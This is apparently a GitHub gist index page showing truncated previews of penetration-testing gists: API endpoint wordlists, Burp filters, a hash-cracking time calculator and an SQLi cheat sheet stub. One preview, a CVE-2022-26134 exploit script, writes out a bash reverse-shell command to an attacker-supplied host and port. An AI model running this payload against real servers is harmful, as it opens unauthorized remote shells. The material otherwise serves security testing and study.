lisp3r / ShareFile api endpoints wordlist

Created November 4, 2025 08:40

sharefile.txt

	/sf/v3/AccessControls(principalid=id,itemid=id)
	/sf/v3/AccessControls(principalid=principalid,itemid=itemid)
	/sf/v3/AccessControls/BulkDeleteForPrincipal?principalId=xxxxx
	/sf/v3/AccessControls/BulkSetForPrincipal?principalId=my-principal-id
	/sf/v3/AccessControls/Clone
	/sf/v3/Accounts
	/sf/v3/Accounts(id)
	/sf/v3/Accounts/AddressBook?type=type
	/sf/v3/Accounts/Branding
	/sf/v3/Accounts/Clients

lisp3r / gist:205664ba73b31e2821117723ac7b7fcd

Created June 5, 2025 08:15

Combinations of three english letters

lisp3r / burp-target-scope-options.json

Created May 29, 2024 13:17 — forked from fyxme/burp-target-scope-options.json

Burp Target Scope Options file to exclude all irrelevant stuff

lisp3r / system_web_enum.txt

Created May 7, 2024 19:10

Wordlist for /aspnet_client/system_web/ enum by http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html

lisp3r / find_uncommon_headers.java

Last active April 28, 2024 15:34

Detecting Uncommon Headers in an API using Burp Bambda Filters

	// Source: https://danaepp.com/detecting-uncommon-headers

	String[] standardHeaders = {
	"accept-patch",
	"accept-ranges",
	"access-control-allow-credentials",
	"access-control-allow-headers",
	"access-control-allow-methods",
	"access-control-allow-origin",
	"access-control-expose-headers",

lisp3r / CVE-2022-26134.py

Created February 6, 2024 19:57

CVE-2022-26134 rev shell

	#!/usr/bin/python3

	import os, sys, argparse, urllib.parse, socket, requests, time


	def revshell(lhost, lport):
	command = f'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
	return compile_payload(command)

	def get_target_url(rhost, rport):

lisp3r / calc_cracking_time.py

Created January 19, 2024 08:17

Calculate the time of hash cracking

	# Use the MD5 GPU hash rate from the GPU benchmark of this section
	# and calculate the cracking time in minutes with the following conditions.
	# Use a charset of all lower and upper case letters of the English alphabet
	# and use a password length of 8. Enter the answer as full minutes without seconds.

	charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
	passw_length = 8

	# hashcat -b
	hash_rate = 681851 * 100000 # hash rate for MD5 GPU from the benchmark

lisp3r / int64_to_char_p.c

Created January 8, 2024 15:27

Convert int64_t to char* string

	// 0x616a2f656d6f682f -> aj/emoh/ -> /home/ja

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#include <string.h>


	void int64_to_char(char mesg[], int64_t num) {
	for(int i = 0; i < 8; i++)

lisp3r / joomla_api_wordlist.txt

Last active January 4, 2024 22:04

Joomla API Wordlist

	/api/index.php/v1/banners
	# /api/index.php/v1/banners/{banner_id}
	/api/index.php/v1/banners/clients
	# /api/index.php/v1/banners/clients/{client_id}
	/api/index.php/v1/banners/categories
	# /api/index.php/v1/banners/categories/{category_id}
	# /api/index.php/v1/banners/contenthistory/{banner_id}
	/api/index.php/v1/config/application?public=true
	# /api/index.php/v1/config/{component_name}
	/api/index.php/v1/contact

lisp3r / sqli_cheat_sheet.md

Created December 8, 2023 15:21

SQLi Cheat Sheet [WIP]

SQLi Cheat Sheet

MySQL

Column number in the table

SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'table_name';